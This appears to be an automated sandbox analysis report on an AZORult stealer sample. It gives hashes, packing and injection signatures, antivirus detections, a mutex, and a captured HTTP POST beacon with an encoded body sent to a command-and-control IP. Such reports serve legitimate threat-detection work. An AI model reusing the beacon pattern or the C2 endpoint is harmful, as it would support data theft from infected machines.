* MalFamily: "Malicious"

* MalScore: 10.0

* File Name: "AZORult_3856eb2b26b1ea75bb822cc2cb96e43f.exe"
* File Size: 687616
* File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
* SHA256: "e5e50177914eb3f9c0601d603e6d6a26b94d1164e0e174944373112bc3760c7e"
* MD5: "3856eb2b26b1ea75bb822cc2cb96e43f"
* SHA1: "47460ae0b9c0dfca2b3407867b1c808f5be43290"
* SHA512: "3ac35f84fd1a8fc48bb0f51557777261e6b26d6a01c7baf3d0956c65508472f5fa3a2f9f27b93b7dce5a51050bb11f663471711ad5fda30a686f24eda9e5a8d6"
* CRC32: "39F3A680"
* SSDEEP: "12288:UEa84nRJODvDtPtmdktQ9DKIOq3Q7nYlY1IGtlnkpNEB0haxyM0HxO7Cmy:UETeE5Pt8dZKR7YlmIQ7uy5CxO7CF"

* Process Execution: 
    "AZORult_3856eb2b26b1ea75bb822cc2cb96e43f.exe",
    "AZORult_3856eb2b26b1ea75bb822cc2cb96e43f.exe"


* Executed Commands: 

* Signatures Detected: 
    
        "Description": "Creates RWX memory",
        "Details": 
    
    
        "Description": "Possible date expiration check, exits too soon after checking local time",
        "Details": 
            
                "process": "AZORult_3856eb2b26b1ea75bb822cc2cb96e43f.exe, PID 2872"
            
        
    
    
        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details": 
            
                "post_no_referer": "HTTP traffic contains a POST request with no referer header"
            
            
                "ip_hostname": "HTTP connection was made to an IP address rather than domain name"
            
            
                "suspicious_request": "http://137.74.181.121/index.php"
            
        
    
    
        "Description": "Performs some HTTP requests",
        "Details": 
            
                "url": "http://137.74.181.121/index.php"
            
        
    
    
        "Description": "The binary likely contains encrypted or compressed data.",
        "Details": 
            
                "section": "name: .text, entropy: 8.00, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00043600, virtual_size: 0x0008e000"
            
            
                "section": "name: .rdata, entropy: 8.00, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x0000e200, virtual_size: 0x00030000"
            
            
                "section": "name: .data, entropy: 7.11, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00000a00, virtual_size: 0x00009000"
            
            
                "section": "name: .rsrc, entropy: 8.00, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x0004d200, virtual_size: 0x00050000"
            
            
                "section": "name: .reloc, entropy: 7.96, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00005400, virtual_size: 0x00008000"
            
        
    
    
        "Description": "Executed a process and injected code into it, probably while unpacking",
        "Details": 
            
                "Injection": "AZORult_3856eb2b26b1ea75bb822cc2cb96e43f.exe(2556) -> AZORult_3856eb2b26b1ea75bb822cc2cb96e43f.exe(2872)"
            
        
    
    
        "Description": "File has been identified by 15 Antiviruses on VirusTotal as malicious",
        "Details": 
            
                "FireEye": "Generic.mg.3856eb2b26b1ea75"
            
            
                "Cylance": "Unsafe"
            
            
                "Symantec": "ML.Attribute.HighConfidence"
            
            
                "APEX": "Malicious"
            
            
                "Endgame": "malicious (high confidence)"
            
            
                "McAfee-GW-Edition": "BehavesLike.Win32.YahLover.jc"
            
            
                "Trapmine": "malicious.high.ml.score"
            
            
                "SentinelOne": "DFI - Malicious PE"
            
            
                "Jiangmin": "TrojanSpy.Noon.fuj"
            
            
                "Microsoft": "Trojan:Win32/Wacatac.B!ml"
            
            
                "Acronis": "suspicious"
            
            
                "VBA32": "BScope.Trojan.Agent"
            
            
                "ESET-NOD32": "a variant of Win32/Packed.AutoIt.NH"
            
            
                "Ikarus": "Trojan.Win32.Autoit"
            
            
                "CrowdStrike": "win/malicious_confidence_70% (D)"
            
        
    
    
        "Description": "Collects information to fingerprint the system",
        "Details": 
    


* Started Service: 

* Mutexes: 
    "A81FB8C60-BBE6E186-FC9B5DB5-36DA4559-33946726"


* Modified Files: 

* Deleted Files: 

* Modified Registry Keys: 

* Deleted Registry Keys: 

* DNS Communications: 

* Domains: 

* Network Communication - ICMP: 

* Network Communication - HTTP: 
    
        "count": 1,
        "body": "\\x00\\x00\\x00&f\\x96&f\\x9fE\\x17\\x8b0m\\xed&f\\x98&f\\x9e&g\\xeaA\\x17\\xeb&f\\x98Fp\\x9d2p\\x9d;p\\x9d5p\\x9cG\\x13\\xed&f\\x97Ap\\x9d6\\x11\\xec&f\\x9b&g\\xea&f\\x9d&f\\x98G\\x14\\x8b0a\\x8b0`\\x8b0`\\x8b0l\\x8b1\\x11\\x8b0f\\x8b0f\\x8b0l\\x8b0a\\x8b0c\\x8b0b\\x8b0g\\x8b0c",
        "uri": "http://137.74.181.121/index.php",
        "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
        "method": "POST",
        "host": "137.74.181.121",
        "version": "1.1",
        "path": "/index.php",
        "data": "POST /index.php HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\r\nHost: 137.74.181.121\r\nContent-Length: 107\r\nCache-Control: no-cache\r\n\r\n\\x00\\x00\\x00&f\\x96&f\\x9fE\\x17\\x8b0m\\xed&f\\x98&f\\x9e&g\\xeaA\\x17\\xeb&f\\x98Fp\\x9d2p\\x9d;p\\x9d5p\\x9cG\\x13\\xed&f\\x97Ap\\x9d6\\x11\\xec&f\\x9b&g\\xea&f\\x9d&f\\x98G\\x14\\x8b0a\\x8b0`\\x8b0`\\x8b0l\\x8b1\\x11\\x8b0f\\x8b0f\\x8b0l\\x8b0a\\x8b0c\\x8b0b\\x8b0g\\x8b0c",
        "port": 80
    


* Network Communication - SMTP: 

* Network Communication - Hosts: 

* Network Communication - IRC: